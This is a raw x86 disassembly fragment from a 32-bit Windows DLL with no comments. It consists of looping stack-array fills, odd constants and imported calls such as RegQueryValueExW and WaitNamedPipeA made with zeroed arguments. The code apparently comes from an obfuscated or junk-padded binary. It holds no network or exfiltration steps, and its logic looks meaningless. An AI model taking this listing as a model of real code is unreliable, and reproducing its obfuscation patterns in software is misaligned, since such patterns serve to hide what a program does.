mov dword [ebp - 0x34], 0xfffffffc
push 4
mov dword [ebp - 0x44], eax
pop ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ecx
jge 0x10032789
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc48], 0xfffffffd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x10032771
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x100327f5
inc dword [ebp - 0x2c]
je 0x100327de
cmp dword [ebp - 0x34], eax
jne 0x100327b9
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x48]
jg 0x100327a9
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x48], eax
je 0x100327ab
mov ecx, edi
mov eax, dword [ebp - 0x2c]
add eax, ecx
cmp eax, dword [ebp - 0x48]
jne 0x100327b9
xor eax, eax
jmp 0x100327bb
mov eax, edi
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x24]
jle 0x100327d2
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x2c]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
setne dl
neg edx
je 0x100327f3
mov ecx, edi
jmp 0x100327f7
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x48]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
mov dword [ebp - 0x44], ecx
cmp dword [ebp - 0x44], eax
jne 0x10032818
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xc44], edi
jmp 0x1003286f
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10032846
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xc98], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003282e
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1003286a
mov dword [ebp - 0x38], 0x2c298c24
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10032867
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jle 0x1003284b
mov dword [ebp - 0x4c], 7
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], 0x4cdb8faa
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x100328a2
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x5c0], 0x77ab3921
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x1003288a
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x100328b8
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x694], 0xfffffffc
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x100328a7
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp - 0x34]
neg eax
test eax, eax
setle cl
xor eax, eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], ebx
jg 0x10032a1f
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], edi
jge 0x100328fa
push 8
pop ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1e0], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x100328e8
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x5c0], 0
jne 0x10032a1d
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10032a05
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x38], 0xfffffffb
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jg 0x10032a02
mov dword [ebp - 0x44], 0x271dbca
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x5c0], 0
je 0x100329d8
xor eax, eax
mov dword [ebp - 0x38], eax
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1e0]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x1e0]
setl cl
xor edx, edx
add ecx, 0x3c5a
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setl dl
xor ecx, ecx
test edx, edx
setns cl
xor edx, edx
cmp ecx, eax
setge dl
mov dword [ebp - 0x690], edx
test edx, edx
jne 0x1003298f
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x5c0]
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x5c0], ecx
mov ecx, edi
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1e0]
mov eax, dword [ebp - 0x24]
sub ecx, eax
jne 0x100329d1
mov eax, dword [ebp - 0x34]
cmp dword [ebp + eax*4 - 0x5c0], ecx
jne 0x100329d1
xor eax, eax
jmp 0x100329d3
mov eax, edi
mov dword [ebp - 0x38], eax
jmp 0x100329f4
xor eax, eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], al
je 0x100329ee
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [ebp - 0x694]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jle 0x1003292b
xor eax, eax
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x10032915
inc dword [ebp - 0x34]
push 0
pop eax
cmp dword [ebp - 0x34], ebx
jle 0x100328dd
xor eax, eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x18], 0xdd8d1303
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x44], 0xffff
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edi
jge 0x10032a5e
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x1ec], 0xbb00868b
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x10032a46
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x10032a74
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x3d4], 7
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x10032a63
mov eax, dword [ebp - 0x18]
xor eax, eax
cmp dword [ebp - 0x44], eax
jne 0x10032a8d
mov esi, eax
cmp dword [ebp - 0x1ec], eax
je 0x10032a8f
mov esi, edi
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x3d4]
mov ecx, dword [ebp - 0x3d4]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setl dl
add edx, esi
mov dword [ebp - 0x40], edx
xor edx, edx
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setg dl
mov dword [ebp - 0x1ec], edx
mov eax, dword [ebp - 0x18]
sub edx, eax
je 0x10032ae1
xor eax, eax
cmp dword [ebp - 0x3d4], eax
je 0x10032ae3
mov eax, edi
jmp 0x10032ae3
xor eax, eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x14]
neg eax
push 3
sbb eax, eax
inc eax
pop esi
cmp eax, esi
sbb eax, eax
xor ecx, ecx
neg eax
add eax, dword [ebp - 0x20]
imul eax, eax, 0x2167
cmp eax, edi
mov eax, dword [ebp - 0x28]
setge cl
xor edx, edx
cmp eax, ecx
setg dl
xor ecx, ecx
sub edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp edx, eax
setle cl
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x14]
neg eax
sbb eax, eax
xor edx, edx
neg eax
sub ecx, eax
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x14]
add edx, 0x4a10
mov dword [ebp - 0x20], edx
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x38], ecx
jmp 0x100323d1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], ebx
jge 0x10032b87
push 8
pop ecx
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x13c], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x10032b73
xor eax, eax
mov dword [ebp - 0x138], eax
jmp 0x10032ceb
mov dword [ebp - 0x24], 0x6dd8d130
mov dword [ebp - 0x44], 0x9d1fe905
mov dword [ebp - 0x24], 6
cmp dword [ebp - 0x24], 0xffffffeb
jne 0x10032cce
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x48], 0x922a
mov dword [ebp - 0x1c], eax
jmp 0x10032c68
mov dword [ebp - 0x20], 0xfffffff9
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x10032c65
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], eax
jl 0x10032c5c
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x3b8]
mov eax, dword [ebp - 0x20]
sub ecx, 0x86a3
neg ecx
sbb ecx, ecx
inc ecx
imul eax, ecx
neg eax
sbb eax, eax
inc eax
cmp eax, 0x5f5a2f6
jge 0x10032c14
dec dword [ebp - 0x20]
jns 0x10032bd6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jle 0x10032bc3
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x24]
je 0x10032c9d
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x10032ce5
push 0x836
push eax
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
xor eax, eax
dec dword [ebp - 0x138]
cmp dword [ebp - 0x138], 0xffffffe4
je 0x10032b92
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe6
je 0x10032b68
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jge 0x10032d2f
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x414], 0xd6923607
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jl 0x10032d17
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x10032d4f